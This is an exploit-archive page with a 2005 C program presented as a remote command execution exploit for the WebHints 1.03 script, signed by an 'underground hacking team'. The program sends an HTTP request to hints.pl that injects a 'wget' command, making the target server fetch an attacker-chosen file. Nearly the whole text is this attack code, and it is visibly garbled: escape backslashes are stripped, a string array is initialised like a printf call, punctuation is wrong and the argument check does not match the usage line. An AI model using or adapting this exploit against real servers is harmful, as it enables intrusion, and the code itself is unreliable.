[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Webhints <= 1.03 Remote Command Execution Exploit (c code) (2)
# Published : 2005-06-11
# Author : Alpha_Programmer
# Previous Title : Webhints <= 1.03 Remote Command Execution Exploit (perl code) (1)
# Next Title : Webhints <= 1.03 Remote Command Execution Exploit (perl code) (3)
/*
**************************************************************************************
* T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m *
**************************************************************************************
EXPLOIT FOR : WebHints Remote C0mmand Execution Vuln
Coded By: A l p h a _ P r o g r a m m e r (Sirus-v)
E-Mail: Alpha_Programmer@Yahoo.Com
This Xpl Upload a Page in Vulnerable Directory , You can Change This Code For Yourself
**************************************************************************************
* GR33tz T0 ==> mh_p0rtal -- oil_Karchack -- The-CephaleX -- Str0ke *
*And Iranian Security & Technical Sites: *
* *
* TechnoTux.Com , IranTux.Com , Iranlinux.ORG , Barnamenevis.ORG *
* Crouz , Simorgh-ev , IHSsecurity , AlphaST , Shabgard & GrayHatz.NeT *
**************************************************************************************
*/
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#define MY_PORT 80
#define BUF_LEN 256
/**************************************************************************************/
int main(int arg_c, char *arg_v[])
{
static const char cmd[] = "GET %chints.pl?|wget %c| HTTP/1.0rnrn" , arg_v[2] , arg_v[3];
struct sockaddr_in their_adr;
char buf[BUF_LEN];
struct hostent *he;
int sock, i;
WSADATA wsdata;
/* Winsock start up */
WSAStartup(0x0101, &wsdata);
atexit((void (*)(void))WSACleanup);
if(arg_c != 3)
{
printf("=========================================================n");
printf(" Webhints Exploit By Alpha_Programmern");
printf(" Trap-set Underground Hacking Teamn");
printf(" Usage : webhints.exe [Targ3t] [DIR] [File Address]n");
printf("=========================================================n");
return 1;
}
/* create socket */
printf("calling socket()...n");
sock = socket(AF_INET, SOCK_STREAM, 0);
/* get IP address of other end */
printf("calling gethostbyname()...n");
he = gethostbyname(arg_v[1]);
if(he == NULL)
{
printf("can't get IP address of host '%s'n", arg_v[1]);
return 1;
}
memset(&their_adr, 0, sizeof(their_adr));
their_adr.sin_family = AF_INET;
memcpy(&their_adr.sin_addr, he->h_addr, he->h_length);
their_adr.sin_port = htons(MY_PORT);
/* connect */
printf("C0nnecting...n");
i = connect(sock, (struct sockaddr *)&their_adr, sizeof(their_adr));
if(i != 0)
{
printf("C0nnect() returned %d, errno=%dn", i, errno);
return 1;
}
/* send H3ll C0mmand */
printf("Sending H3ll Packets...n");
i = send(sock, cmd, sizeof(cmd), 0);
if(i != sizeof(cmd))
{
printf("Send. returned %d, errno=%dn", i, errno);
return 1;
}n
printf("OK ... Now You Can Test your file in hints.pl Directoryn"):
closesocket(sock);
return 0;
}
// www.Syue.com [2005-06-11]